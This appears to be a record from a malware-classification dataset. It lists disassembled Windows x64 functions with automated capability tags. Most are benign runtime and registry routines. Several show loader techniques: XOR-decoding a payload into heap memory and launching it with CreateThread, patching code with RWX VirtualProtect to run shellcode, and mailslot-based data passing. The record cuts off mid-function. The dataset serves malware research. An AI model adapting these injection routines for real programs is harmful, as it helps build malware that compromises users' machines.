joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000b23c
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x68]
sub rsp, 0x160
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov rdi, rcx
lea rax, [rsp + 0x38]
mov rcx, 0xffffffff80000000
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
lea rdx, str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
xor r8d, r8d
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000b344
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x30]
lea rax, [rsp + 0x40]
mov dword [rsp + 0x30], 1
mov esi, 0x104
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x34], esi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14000b335
cmp dword [rsp + 0x30], 2
lea rcx, [rsp + 0x40]
mov byte [rbp + 0x43], bl
jne 0x14000b2fe
mov r8d, esi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
dec eax
cmp eax, 0x103
setbe bl
jmp 0x14000b335
mov edx, ebx
sub rcx, rdi
lea rax, [rsi + 0x7ffffefa]
test rax, rax
je 0x14000b321
mov al, byte [rcx + rdi]
test al, al
je 0x14000b321
mov byte [rdi], al
inc rdi
sub rsi, 1
jne 0x14000b303
test rsi, rsi
jne 0x14000b32e
dec rdi
mov edx, 0x8007007a
test edx, edx
mov byte [rdi], bl
setns bl
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x14000b346
xor eax, eax
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.14000c2d0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x14000c450
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x14000c4e1
movsxd rax, dword [0x14000003c]
lea rdx, [0x140000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x14000c4e1
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000c4e1
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x14000c4c5
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x14000c4bf
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x14000c4c7
add rdx, 0x28
jmp 0x14000c4a4
xor edx, edx
test rdx, rdx
jne 0x14000c4d0
xor al, al
jmp 0x14000c4e7
test dword [rdx + 0x24], 0x80000000
je 0x14000c4dd
xor al, al
jmp 0x14000c4e7
mov al, 1
jmp 0x14000c4e7
xor al, al
jmp 0x14000c4e7
add rsp, 0x18
ret
Function at 0x14000d440
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r10, qword [rsp + 0x80]
xor ebx, ebx
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x40], r9d
lea r9, [rsp + 0x40]
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rbx
call sub.ADVAPI32.dll_RegEnumValueW
test eax, eax
sete al
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000c2d0
add rsp, 0x50
pop rbx
ret

Function at 0x14000d700
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x48
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rcx, qword [rcx + 8]
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], r8d
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
call sub.ADVAPI32.dll_RegSetValueExW
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000c2d0
add rsp, 0x48
ret

Function at 0x14000d750
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov r10, rcx
or rax, 0xffffffffffffffff
nop dword [rax + rax]
cmp word [r8 + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x14000d760
lea ecx, [rax*2 + 2]
mov dword [rsp + 0x28], ecx
mov rcx, qword [r10 + 8]
mov qword [rsp + 0x20], r8
xor r8d, r8d
call sub.ADVAPI32.dll_RegSetValueExW
add rsp, 0x38
ret

Function at 0x14000d930
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, qword [rsp + 0x80]
mov rsi, r9
mov rdi, qword [rsp + 0x88]
test rbx, rbx
je 0x14000d969
test rdi, rdi
jne 0x14000d96e
lea eax, [rdi + 0x57]
jmp 0x14000d9de
test rdi, rdi
je 0x14000d976
mov eax, dword [rdi]
mov dword [rsp + 0x30], eax
jmp 0x14000d97e
mov dword [rsp + 0x30], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [rsp + 0x34]
test rsi, rsi
je 0x14000d9a3
mov dword [rsi], edx
mov ecx, dword [rsp + 0x30]
test rdi, rdi
je 0x14000d9ae
mov dword [rdi], ecx
test eax, eax
jne 0x14000d9de
test rbx, rbx
je 0x14000d9dc
cmp edx, 1
jne 0x14000d9f3
test ecx, ecx
je 0x14000d9d9
test dl, cl
jne 0x14000d9d2
mov rax, rcx
shr rax, 1
cmp word [rbx + rax*2 - 2], 0
je 0x14000d9dc
mov eax, 0xd
jmp 0x14000d9de
mov byte [rbx], 0
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000c2d0
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
cmp edx, 7
jne 0x14000d9dc
test cl, 1
jne 0x14000d9d2
mov eax, ecx
shr eax, 1
cmp eax, 1
jb 0x14000d9d2
mov rdx, rcx
shr rdx, 1
cmp word [rbx + rdx*2 - 2], 0
jne 0x14000d9d2
cmp eax, 1
jbe 0x14000d9dc
cmp word [rbx + rdx*2 - 4], 0
je 0x14000d9dc
mov eax, 0xd
jmp 0x14000d9de
Function at 0x1400015b8
Capabilities:
Execute shellcode via indirect call

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbx, rcx
mov esi, r8d
cmp r8d, 2
jne 0x140001624
mov dword [0x140058060], 0x10
mov eax, 0xe2ff41
movups xmm0, xmmword [rcx]
mov qword [rsp + 0x20], 0xba49
shl rax, 0x28
mov qword [rsp + 0x25], rax
movups xmmword [0x140058064], xmm0
movups xmm1, xmmword [rcx]
mov qword [rsp + 0x22], rdx
mov rax, qword [rsp + 0x20]
movups xmmword [0x140058074], xmm1
mov qword [0x140058074], rax
mov rax, qword [rsp + 0x25]
mov qword [0x140058079], rax
mov ebp, dword [0x140058060]
xor eax, eax
lea r13, [rsp + 0x20]
mov rcx, rbx
mov dword [rsp + 0x20], eax
mov r12, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, r13
mov r8d, 0x40
mov r14, rbp
mov rdx, rbp
call r12
test eax, eax
je 0x1400016cf
test esi, esi
lea rsi, [0x140058064]
mov rdi, rbx
mov rcx, rbp
lea rax, [rsi + 0x10]
cmovne rsi, rax
cmp qword [0x140058088], 0
rep movsb byte [rdi], byte [rsi]
jne 0x14000169c
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140058088], rax
mov rsi, qword [0x140058088]
test rsi, rsi
je 0x1400016b9
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, r14d
mov rdx, rbx
mov rcx, rax
call rsi
mov r8d, dword [rsp + 0x20]
mov r9, r13
mov rdx, rbp
mov rcx, rbx
call r12
mov eax, 1
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x140001783
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 2
lea rdx, [0x1400016de]
jmp fcn.1400015b8

Function at 0x14000179c
Capabilities:
Create thread

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbp, rcx
mov esi, edx
mov ecx, 0x40000
xor edx, edx
mov r12, r8
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r8d, 0xa
xor edx, edx
mov rdi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test esi, esi
jle 0x1400017ed
movsxd r9, esi
mov r8, rax
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rbx, rax
xor eax, eax
cmp esi, eax
jle 0x140001809
mov rdx, rax
and edx, 7
mov dl, byte [r12 + rdx]
xor dl, byte [rbp + rax]
mov byte [rbx + rax], dl
inc rax
jmp 0x1400017ef
call fcn.140001783
mov rcx, rbx
mov r9, rbx
lea r8, [0x140001567]
call fcn.140001586
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edx
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140001880
Capabilities:
Write file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
xor r9d, r9d
mov r8d, 1
mov rdi, rcx
xor ecx, ecx
mov dword [rsp + 0x28], pe_nt_image_headers64
mov ebx, edx
mov qword [rsp + 0x30], rcx
mov edx, 0x40000000
lea rcx, [0x1400580c0]
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001921
xor edx, edx
mov ebp, 0x19000
lea r12, [rsp + 0x4c]
mov dword [rsp + 0x4c], edx
test ebx, ebx
jle 0x140001900
cmp ebp, ebx
mov r9, r12
mov rdx, rdi
mov rcx, rsi
cmovg ebp, ebx
xor eax, eax
mov qword [rsp + 0x20], rax
mov r8d, ebp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14000190b
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001921
mov edx, dword [rsp + 0x4c]
mov ecx, 0x3e8
add rdi, rdx
sub ebx, edx
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400018da
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x14000194a
Capabilities:
Read file on windows
Read from mailslot

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r12, qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rdi, rcx
xor ecx, ecx
mov esi, edx
mov rbx, r8
mov dword [rsp + 0x34], ecx
lea rbp, [rsp + 0x38]
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x3c], ecx
xor edx, edx
mov rcx, qword [0x1400580a0]
mov r9, rbp
lea r8, [rsp + 0x34]
mov qword [rsp + 0x20], rdx
xor edx, edx
call r12
test eax, eax
je 0x1400019c7
mov r8d, dword [rsp + 0x34]
movsxd rdx, dword [rbx]
cmp r8d, 0xffffffff
je 0x1400019c7
xor eax, eax
mov rcx, qword [0x1400580a0]
add rdx, rdi
lea r9, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x3c]
add dword [rbx], eax
jmp 0x140001976
xor eax, eax
cmp dword [rbx], esi
sete al
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140001a41
Capabilities:
Create mailslot
Create thread

Disassembly:
push rbx
add rsp, 0xffffffffffffff80
lea rbx, [0x1400580c0]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
mov dword [rsp + 0x70], 0x5c
mov dword [rsp + 0x68], 0x74
mov dword [rsp + 0x60], 0x6f
mov dword [rsp + 0x58], 0x6c
mov dword [rsp + 0x50], 0x73
mov dword [rsp + 0x48], 0x6c
mov dword [rsp + 0x40], 0x69
mov r8d, 0x5c
mov rcx, rbx
mov dword [rsp + 0x38], 0x61
mov dword [rsp + 0x30], 0x6d
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov dword [rsp + 0x78], edx
lea rdx, str._c_c_c_c_c_c_c_c_c_c_c_c_cslot__d
call fcn.140001850
xor r9d, r9d
or r8d, 0xffffffff
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateMailslotA]
mov qword [0x1400580a0], rax
inc rax
je 0x140001b2c
xor eax, eax
xor edx, edx
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x20], edx
lea r8, [0x14000192c]
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
call fcn.1400019d9
mov rcx, qword [0x1400580a0]
sub rsp, 0xffffffffffffff80
pop rbx
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
sub rsp, 0xffffffffffffff80
pop rbx
ret
Function at 0x140001e00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007a90
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007a90
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001e70
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140058174]
mov rbx, rcx
test esi, esi
jle 0x140001fa0
mov rax, qword [0x140058178]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001ebb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001f45
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001ea0
mov rcx, rbx
call fcn.1400028c0
mov rdi, rax
test rax, rax
je 0x140001fc2
mov rax, qword [0x140058178]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002a00
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140058178]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001fa7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001f3e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001f50
add dword [0x140058174], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140058178]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001f3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001e00
nop dword [rax]
xor esi, esi
jmp 0x140001ec8
mov rax, qword [0x140058178]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001e00
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001e00
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002530
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400581e0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400581c0]
test rbx, rbx
je 0x14000258c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002583
test rsi, rsi
je 0x140002583
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002568
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400028c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140055780]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400028e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400028e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400028e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000293d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002934
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400028e0
add rax, 0x28
cmp rax, r9
jne 0x140002920
xor eax, eax
ret

Function at 0x140002940
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140055780]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000295f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002968
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000295f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002a00
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140055780]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002a1f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002a28
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140004ff0
Capabilities:
Delete file
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x90
mov qword [rsp + 0xa0], rdi
mov rdi, rcx
call fcn.1400106d0
mov rbx, rax
lea rdx, [rax + 1]
test rdx, 0xfffffffffffffffe
jne 0x140005227
movzx edx, word [0x140089634]
movups xmm0, xmmword [str.qGDXJ]
mov eax, dword [0x140089268]
mov word [rsp + 0xa8], dx
movzx edx, byte [0x140089636]
xor byte [rsp + 0xa9], 0x35
xor dl, 0x36
cmp byte [0x14008926b], 0
mov byte [rsp + 0xa8], Ordinal_79
mov byte [rsp + 0xaa], dl
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], eax
je 0x14000520f
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400051d4
movdqa xmm0, xmmword [str.4444444444444444]
lea rdx, [rsp + 0x64]
movdqa xmm5, xmmword [0x1400920e0]
movdqa xmm4, xmmword [0x140092160]
movdqa xmmword [rsp + 0x50], xmm0
mov r8d, dword [rsp + 0x50]
movaps xmmword [rsp + 0x80], xmm6
movdqa xmm6, xmmword [0x140092110]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140092120]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140092120]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x1400050c0
movaps xmm6, xmmword [rsp + 0x80]
cmp ecx, 0x14
jge 0x14000520f
movsxd rax, ecx
lea r8, [rsp + 0x60]
add r8, rax
nop
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0x14
jl 0x1400051e0
xor r9d, r9d
lea r8, [rsp + 0xa8]
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, rdi
mov rcx, rbx
call fcn.140015360
mov rdi, qword [rsp + 0xa0]
test rax, rax
jne 0x140005247
mov rcx, rbx
call fcn.140010aa0
mov rcx, rbx
add rsp, 0x90
pop rbx
jmp fcn.140010aa0
Function at 0x14000def0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14000df18
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000df3e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14000df40
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14000df99
test ecx, ecx
jle 0x14000df79
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14000df99
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14000df99
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x14000dfc0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14000dfe2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x14000dff8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000e014
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000e016
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000e052
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000e0ee
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000e08d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000e0ce
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000e0ee
cmp rbx, rax
ja 0x14000e0a0
test rbx, rbx
je 0x14000e0ee
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x14000e560
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14009d080]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000e58d
xor eax, eax
jmp 0x14000e6f9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x14000e5c7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x14000e5c7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x14000e6f9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000e6ec
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000e60a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14000e635
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000e6f1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
